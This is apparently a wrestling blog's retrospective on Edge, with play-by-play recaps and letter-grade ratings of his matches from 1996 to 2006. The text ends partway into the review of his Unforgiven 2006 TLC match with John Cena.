Wrestler of the Day – September 1: Edge

You think you know this one? Today is Edge.

I’ll try to avoid Edge and Christian matches for this one.

Edge trained in Canada after winning an essay contest. He wrestled in the Canadians indies and appeared in WCW as a jobber for a few matches. Here he is on WCW Pro, I believe on February 4, 1996.

Meng vs. Damon Striker

Meng takes him to the ropes to start but Striker escapes and offers a thumbs up. Not knowing much about Striker, the fans chant USA at the Tongan Meng. Striker’s crucifix is countered with a Samoan drop. Some right hands and clotheslines have no effect on Meng so he kicks Striker in the face. The Asiatic Spike makes Striker tap in a hurry.

Edge would debut in the WWF in mid 1998 and injure his opponent’s neck in their first match. He would appear at Summerslam as a mystery partner.

Jacqueline/Marc Mero vs. Sable/???

This is the final blowoff of the long Mero vs. Sable feud. The mystery partner is Edge who has only been around for a month or so at this time. The guys start things off with Edge hitting some quick Japanese armdrags. Off to Jackie who demands Sable come in but runs off to Mero as soon as the blonde comes in. Edge hits a quick flapjack but Jackie trips him up to give Mero a free shot.

The million dollar kneelift puts Edge down and Jackie chokes even more. Mero’s TKO is countered into a DDT and it’s off to the girls again. Sable hits her kicks in the corner and a forearm to knock Marc to the floor but she can’t powerbomb Mero. Jackie gets in a cheap shot but gets caught in a passable TKO (fireman’s carry into a cutter) for two as Mero makes a save.

Jackie accidentally drills Mero (he’s having a bad night) and it’s back to the guys for a dive from Edge. Jackie tries to choke Edge but gets spanked for her efforts. Back in and a high cross gets two for Edge and drops Mero with a neckbreaker out of the corner. Marc comes back with a Samoan drop but gets crotched going up. Sable gets the tag and hits a top rope rana for one. Jackie’s save messes up and everything breaks down. The Downward Spiral lays out Mero and Edge drops Sable on top of him for the pin and a big pop.

Rating: C-. The match kind of sucked but Sable was WAY over. You have to remember how big of a deal she was back then to keep this in context. Sable was the final thing you would see on Raw a lot of the time, much like Cena is today. The biggest problem I still have with this match is what JR says at the end: “SHE DID IT!” This was all about Sable and Edge, the guy they were trying to rub, could have been any other guy.

Edge would get a chance against a much bigger name on Heat, October 4, 1998.

Edge vs. Vader

Vader powers him back into the corner to start and hammers him upside the head. A powerbomb gets two for the monster and a hard clothesline puts Edge down again. They fight out to the floor and Edge hammers away to take over. He picks up the steps but the referee won’t allow it. Back in and a spinwheel kick and a top rope clothesline get two on Vader. We get a nice callback from Vader as he powerslams Edge off the top, which was done for years to Vader himself. Edge comes back with a Downward Spiral out of nowhere for the pin.

Rating: D. It was clear that Vader was a shell of the shell he had become at this point and it was kind of sad to see. This was his last TV match in WWF and it’s very easy to see why. Edge survived everything Vader sent at him and shrugged it off in about two minutes. There wasn’t much here but it was kind of cool to see these guys having a match.

Here’s something that would headline a PPV in ten years. From Raw on January 11, 1999.

HHH vs. Edge

Now here’s a match that would be VERY different in a few years. HHH takes him down to start and pounds away but a charge in the corner hits buckle. A spinwheel kick puts HHH down and we take a break. Back with Edge hitting a clothesline and a kind of bulldog for two. HHH makes his comeback with punches and the flying knee, followed by a boot to the face of a charging Edge in the corner. After a quick comeback by Edge, the Pedigree ends this. Nothing to see here, but man alive it’s weird to see these two in this spot.

Another match that would have headlined a show if the timing had been better. From Raw on June 21, 1999.

Edge vs. The Rock

Rock hammers away to start as the fans are all fired up for this one. A spinwheel kick puts him down but the spinning DDT gets two for Rocky. Edge is slowly rammed into the buckles but he spins out of a belly to back suplex and nails a swinging neckbreaker. There’s a missile dropkick and Edge goes up again, only to dive into the Rock Bottom. The People’s Elbow is good for the pin.

Rating: D+. This was just a glorified squash for Rock and that’s really all it should have been. Edge was only a tag wrestler at this point and hadn’t even won the Tag Team Titles yet so it wasn’t like he was going to hang with a multiple time World Champion yet. The promos for this match on a bigger stage could have been very entertaining.

Edge actually won the Intercontinental Title at a house show in Toronto. Here’s his first defense the next night at Fully Loaded 1999.

Intercontinental Title: Edge vs. Jeff Jarrett

Edge is actually champion here having won the title at a house show like two days prior to this. Apparently Edge got the shot because it was supposed to be Ken Shamrock but Ken couldn’t get to the show for unspecified reasons, so this is a total shock to the fans. Debra is wearing a bikini and a jacket over it. She’s really not that hot either.

Edge looks really young to say the least. The fans want puppies as we start off very fast. I keep trying to get what the one thing that the Attitude Era has that today doesn’t and I think it’s the unexpectedness of things. I mean who would believe that Edge would win the belt at a house show the night before a PPV?

Look at what happened before the show: Taker jumped Austin. It’s something that adds to the main event and stacks the odds against Austin. Jarrett works on the knee which is smart if nothing else. Granted it also could be having guys like this get 15 minutes on PPV and time on Raw to show off. And now Jarrett goes to the arm. Why? Jarrett hooks a sleeper and of course it doesn’t work. Edge was REALLY good before he messed up his neck. He throws in the Sting headbutt to the balls.

Lawler refuses to acknowledge Edge as champion for some reason. Edge kind of hits a tornado DDT. He had the spear back then? I didn’t know that. He goes to the floor and someone attacks him in the dark. The lights come back on and there’s a big pool of “blood” and Gangrel is out next to Edge. Well that was rather shall we say pointless? The spear hits and Debra is up of course. Gangrel interferes and Jarrett hits the Stroke for the pin to get the title back.

Rating: B. Very solid match here. Again, Jarrett is great in the midcard. Edge got to showcase himself very well here so what more can you ask for? This got the time that it needed and it worked rather well I thought. Granted I really like Edge. Jarrett would leave the company soon after this, which is a shame as he was pretty awesome at this point.

Here’s a match that would one day main event Wrestlemania. From Raw on June 19, 2000.

King of the Ring Qualifying Match: Edge vs. Chris Jericho

After some verbal sparring, Jericho scores with some early chops and a backdrop for two. They head outside for a chase with Jericho running the steps and getting speared down in a painful looking spot. Back in and Jericho gets dropkicked out of the Tree of Woe and faceplanted for no cover. Jericho pops back up for a missile dropkick but the Lionsault hits knees. Not that it matters as Jericho grabs the Walls for the submission.

Rating: C-. This is another match where Edge just wasn’t ready to hang with his opponent. Edge’s day would come but not at this point against someone as hot as Jericho. His performances are getting better though and this definitely wasn’t a squash, but Edge just wasn’t ready to get a win here.

He would be a lot closer in another year though, as Edge made it all the way to the finals of the 2001 King of the Ring.

KOTR Finals: Kurt Angle vs. Edge

This show is going by fast, and that’s a good thing. I’m surprised this is going on in the middle of the card though. Oh and Angle has his pyro now. We’re told no one has ever won it twice which isn’t true since Hart won at least two but we’re not told that. Edge and Christian actually had their own WWF site back in the day, as many wrestlers did. The company was just freaking huge back then.

Angle offers a handshake before the match and says that since Edge isn’t going to win anyway, Edge should just lay down for him. I love Angle at times. Edge impresses me by holding his ribs, selling the injury from earlier. That’s just greatness. Angle stomps Edge in the corner and as the referee is counting and gets to three he picks up the pace a lot which is a very nice touch. Heyman says maybe Shane interfered so that if he wins KOTR then the WCW owner could beat the WWF KOTR.

Not bad actually. Angle hits an AWESOME overhead belly to belly to put Edge on the floor. The camera shot was great there too as Edge just disappeared. That was very cool. Also, it works on the ribs which are hurt. I love smart wrestlers. We’re getting too many chinlocks here. This is almost all Angle here as they’re trying to play this up as heel vs. heel for absolutely no apparent reason considering Edge is clearly over with the crowd as a face.

Here’s Edge’s comeback as I’m liking this match. Again it’s no classic but it’s fine for what it it’s supposed to be. And now the referee keeps looking at the entrance like Angle did in the opening match, as they play up that the run in is coming. Here’s Christian but he’s preventing Edge from getting a cover. There goes the referee. Ankle lock makes Edge tap but here’s Shane with a spear of his own. I really hate that move. The Edgecution ends this. That wasn’t bad.

Rating: B-. Edge certainly should have gotten the win here. The match was pretty good and Shane makes sense here too. I guess it’s not right to have Edge win clean, but the spear was weak as all goodness. At least Edge’s finisher ended it. This wasn’t bad at all and it got Edge over which was the point. Not bad, but it could have been better. Edge would get a trophy that resembled the Stanley Cup which Christian would keep taking, leading to a feud between them.

One of Edge’s biggest rivals for the title was his brother Christian, who took the title from him in the fall. Here’s the ladder rematch at No Mercy 2001.

Intercontinental Title: Edge vs. Christian

Oh and did I mention this was a ladder match? The brawl starts in the aisle with Edge taking over. Backdrop puts Christian down so he hits the floor. Here comes the first ladder but Edge hits a baseball slide into it, sending the ladder into Christian’s ribs. They head into the crowd over by what appear to be hockey boards. There’s nothing to do out there so they head back to the ring.

Christian is laid on the floor and catapulted into the ladder which is up against the ring. The ladder is bridged between the steps and barricade with Edge being dropped onto it. They fight onto the ladder and Christian gets crotched. Edge looks to put the ladder inside the ring but Christian manages a see-saw shot to the face to take over. Christian goes up but Edge makes an easy save.

Christian pins Edge in the corner with a ladder and gets a chair. For some reason he goes to the top with that chair and is promptly slammed onto the ladder. Both of them are sent into the ladder with Edge going in second. Here comes another ladder which Christian climbs. Edge sets up the original and goes up as well, resulting in an Edge-O-Matic from the ladder. That looked awesome. Edge goes up, but Christian hits a reverse DDT off the ladder to get us back to even.

The champ rolls to the floor and gets a pair of chairs. This isn’t going to go well is it? Edge avoids the Conchairto and brings in a third ladder for some reason. A ladder is propped up between two chairs and Edge splashes Christian onto it with the ladder not moving at all. FREAKING OW MAN!!! Edge climbs but Christian jabs him down with a ladder.

Christian goes up but Edge dives off the ladder with a spear to take him down. There are three ladders set up in the ring now: two next to each other and one perpendicular to it. As in the third one’s legs are facing the two ladders which are facing the cameras. Both of them go up and they crash down to the floor.

The fans are way into this and I can’t say I blame them. Christian gets back in first and climbs but Edge hits him low which is what Christian did to win the title in the first place. Edge puts him on the top of the ladders, puts a chair under his head and delivers a One Man Conchairto to KILL Christian. Edge pulls down the title which is academic.

Rating: B+. What else were you expecting here? The ending looked great and is a great way to end this feud. At the end of the day, these two are masters at this kind of match so giving them 22 minutes to have one is about the best thing you can possibly do. Great match and it did exactly what they were hoping it would do.

William Regal cheated his way to the title after this, but Edge had bigger things to go after. Next up was a feud with Kurt Angle, culminating in a hair vs. hair match at Judgment Day 2002.

Kurt Angle vs. Edge

Edge is more or less the hottest thing in the world at this point so this should be awesome. Angle starts off with grappling stuff but gets sent to the floor. Back in Angle stomps away but gets tied up in the ropes. It’s so weird to see pre-neck injury Edge. He spears Kurt as he’s tied up but Kurt escapes and hits a belly to belly to send Edge to the floor. Angle hammers away as this has been back and forth so far.

DDT gets two for Kurt as we’re in a long Angle is in control segment of the match. Off to a chinlock now as we make Finkle jokes. Lawler accidently says WWF as Edge is taken down again by the hair in what could be considered irony but it probably shouldn’t be. Angle throws on a front facelock which goes on for awhile. Edge gets an Edge-O-Matic for two. Angle heads to the apron and Edge hits a dropkick to send Kurt’s face into the apron.

Back in Angle tries the run up the corner belly to belly only to have Edge shove him off and get a missile dropkick for a long two. Belly to belly by Kurt puts Edge down as JR says that was finer than frog hair. Where does he get these things? Edge goes up again and this time he gets caught in the suplex for a VERY long two. Edge busts out a superkick of all things and gets a DDT out of the corner for two.

Spear accidently hits the referee and a suplex puts Edge down. No referee though so Angle grabs a chair. Spear puts Angle down Angle but again no referee. Noticing a theme here? Another spear eats boot and the Angle Slam is countered. ANOTHER spear gets two as the referee is up. Edgecution is reversed and Angle hits a spear of his own and then the Angle Slam for a VERY close two. Ankle lock goes on but Edge kicks him in the head to escape. On it goes again but Edge kicks him off and a small package ends this and signals Kurt’s bald time.

Rating: B. Good match but the spears got annoying. Their match at Backlash was WAY better which is what’s holding this one back. It’s not bad at all and they looked good out there, but at the same time it got a bit repetitive. Edge was getting very awesome very fast at this point and Angle probably had a lot to do with that.

Edge would go to Smackdown in the Draft and go after the newly created Smackdown Tag Team Titles. He and Rey Mysterio made the finals at No Mercy 2002.

Smackdown Tag Titles: Rey Mysterio/Edge vs. Chris Benoit/Kurt Angle

This was the undisputed match of the year so this more or less has to be awesome. Edge is about as hot as possible here and Rey is pretty new here. Yeah he had been around only three months or so here. Edge is just straight up awesome here and the whole thing is just greatness. Angle vs. Rey to start us off. We have what, about 25 world titles in there? Angle takes him to the mat and slaps him in the back of the head to be a jerk.

Kurt is really the only heel in this match. He literally throws Rey into his own corner because he wants a grownup apparently. Rey won’t tag out though because he wants Angle. They had a great opener at Summerslam so this works for me. Rey can’t get out of much of anything so he steps on Kurt’s foot and hits him with what can only be called an FU.

He busts out the speed and slaps Angle in the back of the head just like Kurt did earlier. The announce table being in pieces is funny for some reason. Here’s Edge to a big old pop. This is before Edge hurt his neck so he’s a totally different worker here. Off to Benoit now. Expect a LOT of play by play here as if the reviews I’ve heard are any indication there isn’t going to be much to make fun of.

The Canadians do a much more technical sequence and it’s a lot more entertaining than you would think a side headlock should be. Edge gets a knee to Benoit’s ribs and focuses on them for a while. Flapjack and a rollup get two. And there’s a knee from Kurt as Edge hits the ropes to give Benoit an advantage. They try the same thing again but Edge spears him this time.

Benoit and Angle double team Edge in a very nice sequence. Back to Angle now. The fans are all over him which is always good to hear. Better for them to be making noise at all than to be bored. Rear naked choke to Edge and Rey is getting antsy. Tazz adds in something by saying Angle is making sure Edge is facing his partner to mess with his head. Nicely done Mr. suplex machine.

Edge gets a big boot but walks into a belly to belly for two and here’s Chris again. Here are the rolling Germans as Edge is getting the tar beaten out of him. Benoit goes a little heel by drilling Rey to keep him from making the save. Benoit goes up for the headbutt and down he comes off a big old superplex.

There’s the big tag to Rey and he cranks things WAY up. The good thing is that he’s in there against two guys that can do the same thing. He sets Benoit for a Bronco Buster but goes with a running dropkick instead. HUH-FREAKING-ZAH! Rey and Benoit crank things up ever more but Benoit gets a counter and hooks up the Crossface until Edge finally saves.

Edge vs. Angle on the floor along with Benoit and Rey in the ring. 619 is blocked by Benoit but Edge hits a missile dropkick to drive Rey onto Benoit for a long two. This is all happening at a very fast pace. Rey goes up but Angle JUMPS from the mat to the top for the HUGE belly to belly off the top for another long two. Benoit’s face is like WHAT at that.

Angle in now vs. Rey as things slow down a bit. Rey starts a bit of a comeback but gets caught in a quick suplex and crashes for two. Back to the short and crazy Canadian now. After more of a beating Rey gets a headscissors to send Benoit into the post and we get double tags to bring in Edge vs. Kurt. Edge-O-Matic gets two and everyone is back in again.

Spear in the corner to Benoit and there’s the Bronco Buster. I withdraw my former HUZZAH! Spear in the corner again to Angle and Edge sits him on the middle rope. Rey runs at Edge who throws him into the air for a big old rana. Benoit looks to save with the diving headbutt but it crushes Angle and only gets two. Angle busts out a German from nowhere for two. He shouts at Edge to go to the middle which Edge does.

In a VERY nice spot, Rey runs at Edge who belly to bellies him into Angle to take down the bald one. That’s what he gets for calling spots that loudly. Benoit saves the spear and grabs the Crossface and Edge is in trouble but he gets a rope. He won’t let go so Rey hits a 619 out of somewhere. Angle Slam takes out Rey and Angle locks on the ankle lock.

Edge kicks off and grabs a small package for two. Spear gets two as Benoit saves and Rey takes out Benoit. Rey gets a running start at Edge again and Edge catches him and gives him a very nice launch into a moonsault to take out Benoit. SICK counter out of the Edgecution by Angle into the ankle lock. Edge counters that into an ankle lock of his own but Angle is all like OH NO YOU DIDN’T and counters into an ankle lock for the tap out and the titles. Sweet goodness as Cole says he’s going to applaud them for it.

Rating: A+. OH YES. Now this is what you get when you have two teams out there that are young and moving as fast as they can to make something look awesome. Smackdown was supposed to be the wrestling show back then and it certainly was. Whare more can you ask for from something like this?

Edge would hurt his neck and be out for almost all of 2003. He would come back with more muscle and hunt the Intercontinental Title. Here’s his shot at Vengeance 2004.

Intercontinental Title: Edge vs. Randy Orton

Apparently the title has changed hands the most in July out of any month. Doesn’t really mean much but it’s a cool little factoid. Orton was just totally awesome as the ridiculously confident jerk that never lost. He’s held the belt forever here and this is just before he would rise to the main event picture and win the world title at Summerslam…before he had to hand it back to HHH a month later. Lawler has a crush on Orton I think.

Edge is using a lot of shoulder blocks and headlocks here. After about his fourth one, Orton tries to bail. And then he just comes back. Was there a point to that other than killing time? Ross says that this is for the title if you just tuned in. Make your own jokes. Orton is beating the heck out of Edge here. It amazes me how much his character has evolved over the years. Sweet goodness Edge is boring here. The fans like Orton actually.

Edge finally mixes it up a bit by hitting a nice missile dropkick off the top. Orton kicks the spear out of the way just like he’s done many times. Edge I beg of you: get a new freaking finisher. The Impaler is perfect. The fans are more or less split but there might be a slight lead for Orton. Orton does the Zeus/Giant neck spin thing that put Hogan out for months but on a guy that’s had neck surgery it doesn’t do much at all. Orton’s dropkick is freaking pretty. It just is.

And of course we get a chinlock. That makes this a real Orton match. The more I think about it the more I think a legdrop would hurt. Lawler and Ross argue about Edge’s hair. This is a LONG chinlock. Edge hits a dropkick into the ribs to get us back to even. This is long but not that interesting. It’s decent but from the thoughts I’ve heard about this before now I’d think it was a classic. By no means is that the case.

They crank things up a good bit and it gets a lot better. This has cracked twenty minutes and Orton goes for the RKO. Crowd is WAY into this. Let the near falls begin! After Orton takes the pad off the buckle he goes into it and there’s your spear to give Edge the belt. The spear had that explosion it needed to make it good too.

Rating: B. This was good but by no means a classic. This is a great example of a match where being long doesn’t exactly mean it’s great. Orton and Edge never really did anything spectacular here and it felt like a longer version of a regular match. It’s good, but by no means is it a classic. This ran over 25 minutes and the first 20 are more or less a long Raw main event minus the good part. You cut ten minutes off of this and it’s FAR better. The last three minutes are quite good though as far as drama and drawing the crowd in.

Edge would start talking about frustration and turn heel, setting up a feud with Shawn Michaels. Here’s a match at Royal Rumble 2005.

Edge vs. Shawn Michaels

Edge is mad that he didn’t get the title shot at Taboo Tuesday and is finally turning heel, which he would be for years to come. Edge jumps Shawn before Shawn can take off his vest, only to get sent back to the floor by Shawn. Back in and Shawn chops away in the corner but Edge comes back with a swinging neckbreaker to take over. Edge is embracing the evil here and pokes Shawn in the eye but it only ticks Shawn off, resulting in a Thesz Press by Shawn.

The Canadian is sent back to the floor but he catches Shawn in an Edge-O-Matic to take over again. A baseball slide keeps Shawn down and we head back inside. The fans are firmly behind Shawn here, which means the heel turn is working for Edge. Shawn tries a standing rana but gets caught in a powerbomb for two instead. Off to a rear naked choke from Edge which stays on for a good while.

As Shawn fights up, Edge slams him right back down to stop the comeback before doing Shawn’s pose. Shawn gets guillotined on the top but Edge jumps into a punch to the ribs for two. Shawn counters a belly to back suplex into a cross body for two but Edge clotheslines him right back down. We hit the chinlock again although for far less time here. Michaels comes back with an atomic drop and they mistime something pretty badly with Shawn waiting on one side of the ring while Edge stumbles around on the other side.

Anyway Shawn pounds away in the corner and grabs a rollup for two, prompting Edge to try to walk out. The imbecile of a referee holds Shawn back, allowing Edge to sneak up from behind and spear Shawn to the floor. Shawn finally crawls back in and Edge dances a bit. Edge tunes up the band and spears Shawn down for two more, sending Edge into a fit. He pulls his own hair out and does those awesome facials that only Edge can do.

With nothing else to try, Edge puts Shawn on top for a superplex, only to get knocked down for the flying elbow from Shawn. Sweet Chin Music is countered into an electric chair drop for two more and Edge is very frustrated. Edge rolls through a sunset flip into the Edgeucator (imagine a Sharpshooter but with Edge behind Shawn like an ankle lock) but Shawn makes the rope. After a small package gets two for Shawn, Edge reverses a rollup into one of his own and grabs the ropes for the cheap pin.

Rating: B-. Decent match here but at nearly 20 minutes it’s too long. I’m not sure if I like the ending or not either, as Edge cheating shows that he’s embracing the heel turn, but I don’t think cheating and then hitting a move like another spear would have been a bad choice either. Still though, solid way to further Edge’s turn and a very long opener, which isn’t a terrible idea.

Next up was Chris Benoit, who Edge, now Mr. Money in the Bank, fought at Backlash 2005.

Edge vs. Chris Benoit

Last man standing. Benoit’s arm isn’t taped but he’s a sneaky Canadian so it might be fake. Benoit immediately takes him down and we’re on. Chris pounds on him a bit as the fans chant YOU SCREWED BRET. Geez it even happens in America at this show. We go tot he corner for the chopping as this is all Benoit so far. Edge gets in a shot to take over and the fans want Matt. They would get him in a few months. A spear attempt is countered by a drop toehold and it’s back to even.

Benoit drives in knees to a downed Edge but the taller Canadian comes back with a shot to the head. They go to the floor and Edge finds a garbage can lid, but Benoit baseball slides him down before it can be used. Edge gets backdropped into the crowd and Chris heads out there with him. Back into the ring and Benoit hooks a quick Sharpshooter to make Edge tap but it doesn’t matter here.

With Edge barely back to his feet, Benoit snaps off the Rolling Germans to send Edge to the floor, drawing an eight count. Benoit knocks him right back off the apron again, this time for another eight. Chris tries a suicide dive but gets his head blasted in by a trashcan lid on the way down. That gets a seven so Edge bashes him again, this time getting six. A fan keeps chanting that Edge cheated on his wife, which is true but has little relevance here.

Back into the ring and Edge loads up a superplex onto a trashcan which has Benoit’s legs twitching. Edge is down too but gets up at seven while Benoit is up at eight. Edge hits a running knee to the head and wears him out with a trashcan lid. Naturally it’s time for a ladder, but Edge climbs with his back to Benoit. There’s the German suplex off the ladder and both guys are down. That draws a double eight and Benoit is getting frustrated.

Another release German puts Edge down, this time getting about seven. With Edge still down, Benoit goes up and launches a Swan Dive at Edge but misses, driving his head into the mat. Edge finds the briefcase but Benoit grabs the Crossface before getting hit in the face. Back up and it’s time for MORE Rolling Germans. Edge finally escapes and hits the Edgecution onto the briefcase. Of course, that only gets 9. Edge spears him down for nine. Benoit gets up so Edge spears him down for nine. Benoit gets up so Edge pulls a brick out of the briefcase and blasts Benoit with that for the ten count and the win.

Rating: B. For some reason I see Bobby Heenan smiling at Edge doing that. It’s just such a Brain sounding move. I was digging this, but given what we knew would come about two years later, those shots to the head of Benoit are very hard to watch anymore. Edge was put over here which was the important thing, as he needed wins like these to move up the ladder over the course of the year.

Edge would go after the Intercontinental Title again at New Year’s Revolution 2006.

Intercontinental Title: Edge vs. Ric Flair

Edge has the MITB at the moment and Flair has the title. Flair being the IC Champion was kind of a cool thing as he never held the belt before. He also brought some prestige to the belt which it was sorely lacking. Now I don’t know how smart it is to have a guy pushing 60 holding the midcard title, but Flair was still almost bearable in the ring at this point so it’s ok I guess.

This is going on as Flair had legitimately had a road rage incident and Edge did a hilarious parody of it. At this point Flair’s personal life was such a wreck because of a nasty divorce that he more or less was staying in the ring to pay his bills. This is your run of the mill Flair match here as Edge beats him up for a good while and works on his back, as it certainly has never healed at all in over 30 years.

Since I can more or less call the next few spots, I randomly start singing Trish’s theme song. Flair has so much charisma it’s scary. And Flair puts the figure four on Lita for no apparent reason, making Edge hit him with the case for the DQ. Well that came out of nowhere. At least the ending makes sense a bit as he’s protecting Lita. Flair bleeds. No need for the case here as a stiff glare could crack his head open.

Rating: C-. Standard Flair match here and while the ending is a bit odd, it’ll make sense in a little while and if you’re not familiar with that, you’ll find out soon enough. It looks like tomato soup on Flair which is just stupid but whatever. Not a terrible match as it was more or less acceptable.

Then this happened later in the night after John Cena had defended his Raw World Title in the Elimination Chamber.

Vince says the show isn’t over yet and you can hear the crowd pop like a cherry over it. He has the cage raised up. And he says that while Cena did a great job, his night is not over yet, as Edge is cashing in his Money in the Bank contract and the match is NOW.

Raw World Title: Edge vs. John Cena

Cena is more or less dead and can’t even stand up. This is less than two minutes as Edge hits a pair of spears to win the title in a TOTAL shock.

The title reign wouldn’t last long, but Edge would get a rematch at Backlash 2006.

Raw World Title: John Cena vs. HHH vs. Edge

Cena is defending if that wasn’t clear. HHH is the huge crowd favorite. The girl I was with was a huge Cena fan so I was for Edge all night. Well I liked Edge so it wasn’t completely because of her. Edge tells the other two to go at it and heads to the floor. That’s cool with HHH and Cena as they slug it out, won by the champion. Some shoulders take HHH down and there’s the release fisherman’s suplex for two. Edge makes the save and bails right back to the floor.

Cena punches the Game some more but walks into the high knee which gets two and some applause. Edge makes another save and heads right back to the floor. HHH and Cena finally have enough of the Canadian and they both go after him. Cena clotheslines Edge to the floor and takes turns with HHH ramming Edge into the announce table. This is awesome as it turns into a contest to see who can do it harder. Edge goes into the table about 10 times and looks mostly dead.

All three go back in but HHH throws Cena to the floor. Cena pulls HHH off the apron and rams his face into said apron. A top rope splash gets two on Edge and Cena loads up the Shuffle, only for Lita to pull the rope down and send Cena to the floor. HHH rams Cena into the steps and goes back in for a facebuster on Edge. The knee to the face gets two as does the spinebuster.

Edge counters a suplex and hits the Edge-O-Matic for two. HHH shrugs that off and puts on a sleeper but Edge reverses into one of his own. We have a Cena chant as he gets both guys up for the FU at once. That blew my mind at the time and he didn’t even hit the move. Edge gets off the top and spears Cena down while HHH is still in the FU position, giving the Game a Samoan Drop from Cena. Cool spot.

HHH and Edge head to the floor and HHH gets catapulted into the post to bust him open. Edge DDTs HHH on the table, leaving blood everywhere when the table doesn’t break. That made me cringe in the arena. HHH is COVERED in blood. Back in and Edge dropkicks Cena for two. He spears Cena in the corner but Cena counters the regular one into the STFU. Edge is about to tap but HHH pops up and blocks the hand from coming down and hits Cena in the head with the mic to break the hold.

HHH caves Edge’s head in with a chair shot, knocking him into the crowd. He heads back inside and walks right into the STFU just like at Mania. There is blood everywhere. HHH keeps his arm up (there need to be more arm checks from the referees. I miss those) and finally makes the rope. FU is countered into a Pedigree but that’s countered back into the STFU. Edge breaks it up and there goes the referee.

Cena tries to FU Edge from the middle rope but HHH gets beneath Cena to make it a modified Tower of Doom. Everyone is down so Lita brings in a chair. She charges at HHH with it but walks into a spinebuster which got a big pop in the arena. HHH gets the chair but throws it down. Instead he pulls out the sledgehammer but Edge spears him down. Edge gets the hammer but Cena loads him into the FU. HHH breaks that up with a low blow but the Pedigree to Cena is countered into a rollup for the pin to retain.

Rating: B+. This was WAY better from this perspective as I wasn’t all that impressed when I saw it live. This was actually an awesome match with a great blade job from HHH and almost non-stop action. Cena getting another win over HHH was another big step in his push towards the top of the company as he wasn’t quite there yet. This was a great match and it really impressed me on a second viewing.

After beating Mick Foley in a hardcore match at Wrestlemania XXII, the two of them would become co-Hardcore Champions. This wasn’t cool with Tommy Dreamer and Terry Funk, so a match was made for One Night Stand 2006.

Edge/Mick Foley/Lita vs. Tommy Dreamer/Terry Funk/Beaulah McGillicutty

Always thought Beaulah looked great. Wonder if she’s related to Michael. Beaulah is in heels so this isn’t going to go well for her. Catfight to start but the guys pull them back. Edge and Dreamer start us off and they actually wrestle a bit. Off to Foley and Funk quickly who wrestle a bit also. Actually I’d give that to Funk. He might be better at it even though he’s a bit out of practice. Foley isn’t sure he wants to do this and tries to leave. Yep here’s the brawl.

Dreamer grabs some water to send into Edge’s face as Funk hammers on Foley with whatever he takes a notion to. The girls are still chilling on the apron as weapons come into the ring. There aren’t going to be any more tags at all are there? I really wouldn’t expect a lot of play by play from this point on. Baseball slide into a garbage can into Foley’s head. Edge takes over on Dreamer and it’s ladder time already.

The old dudes go up the aisle and it’s so nice to see WWE production values here where they know how to go back and forth and keep up with the action rather than seeing the tops of people’s heads and calling it following the action. Ladder goes upside Dreamer’s head but a spear is hiptossed and Edge lands on the ladder. Funk and Foley get back in and it’s windmill with the ladder time.

Funk, a spry 61 here, goes up the ladder only for Edge to dump it over and have him crash down onto the mat below. Dreamer sets for the Dreamer Driver on Edge but Lita finally does something, breaking up the Driver. Foley and Edge find a big plywood board. Uh…ok? They find another one covered in barbed wire. NOW THAT’S MORE LIKE IT! They slam it down on Dreamer who gets it caught in his skin.

They try to do it again but Funk pulls their feet out and it lands on the heels, including Edge’s face. The fans, ever the nice guys, chant that they want fire. Barbed wire board is set up in the corner and it’s time for some punching on Foley before he gets thrown through the board. Dreamer is crotched on the railing outside as the fans think this is awesome. I’d be inclined to agree for once.

Foley manages to throw the board onto Funk and has Lita get even more barbed wire. It gets wrapped around Foley’s arm and he rams it into Funk’s head. Terry is bleeding all over and shakes like a fish as is his custom. Foley rams the wire into his face for good measure so the referees take Funk out as he screams about his eye. The fans want Sandman but get a barbed wire ball bat instead.

That goes into Dreamer’s anatomy, including his balls due to the leg drop from Lita. Mick pulls out a pair of socks to really tick the fans off. Foley goes ultra heel by putting the Claw on Beaulah, setting Dreamer off. He gets caught in the hold anyway and Edge spears him half to death. Edge and Lita go after Beaulah and Edge bends her over in front of him. Where are Trish and HHH when you need them for pointers?

Instead it’s Funk, coming through the crowd with a big bandage around his head and a 2×4 wrapped in barbed wire. The distraction lets Dreamer hit a pair of low blows and Beaulah chases Lita off. Funk blasts them both with the board and then in the words of Bubba Ray Dudley, why don’t we just light it on fire? Funk drills Edge with it then hits Foley, sending him through the barbed wire board which Foley said was absolute agony on a commentary I heard for this match.

Funk gets dropped on top of him but Dreamer takes down Edge, putting him in a Crossface but instead of choking him he wraps barbed wire around his face and pulls back on it. FREAKING OW MAN!!! Catfight ensues and Dreamer gives Lita a Death Valley Driver and is all fired up but Edge grabs an Edge-O-Matic with the barbed wire. Spear to Beaulah and a cover with Edge putting her legs in the air and bouncing up and down on her ends this absolute war.

Rating: A-. Freaking WAR here as these four absolutely destroyed each other in the name of violence and revenge. Edge looked like a superstar which was the point of this whole thing. This is easily the match of the show and is well worth seeing if you’re a fan of big old violent wars. The WWE camera work helps a lot here too as they barely missed anything which is a major upgrade over the regular ECW production values. Check this one out as it’s great stuff and very violent but in a good way.

Another chance to get the World Title back, from Raw on July 3, 2006.

Raw World Title: Rob Van Dam vs. Edge vs. John Cena

Edge gets double teamed in the corner to start before Rob backs off for no apparent reason. A big running spin kick in the corner takes Edge down again and there’s a release fisherman’s suplex from Cena. Edge is kicked to the floor and we take a break. Back with Van Dam in control but getting rolled up by Edge for two. Rob gets a rollup of his own for the same and a cartwheel into a splash gets two.

Cena pops up from being on the floor and pulls Edge out, only to send him into the steps. Van Dam follows with a plancha to take out Cena before they both head back inside. Edge joins them in a bit but gets caught in a combination suplex/top rope cross body from his opponents. Van Dam tries a rolling something but gets caught in a double spinebuster. Edge and Cena clothesline each other and all three guys are down.

They all get back up and it’s a triple slugout with Van Dam taking over. Van Dam tries a headscissors out of the corner, only to be thrown over the top rope by the Canadian (Edge). Cena runs over Edge with a clothesline and starts his finishing sequence, complete with the Shuffle. The FU sends Edge out to the floor and there’s one for Edge’s girlfriend Lita. Van Dam comes in with the Van Daminator (a kick to a chair into Cena’s head) but the Five Star Frog Splash misses. There’s the FU to RVD but Edge comes in and blasts Cena with the title before pinning Van Dam for the title.

Rating: C+. Semi-obvious ending aside, the match was rather entertaining with all three working well together. Edge getting the title in a regular match was a good idea as before this he had only stolen the title. This gives Cena something to do for the next few months which is something he’s been needing for a good while.

Here’s the big showdown for Edge and Cena at Unforgiven 2006.

Raw World Title: Edge vs. John Cena

Oh and it’s TLC. Let the Vince hardon begin. No coat for Edge here which is weird. BIG pop for Edge. I really want to see him as a face again. It might have helped to have him be a face for more than like two months or give him more than just shouting SPEAR over and over again. They start booing before Cena’s music even hits. Nuclear heat on Cena.

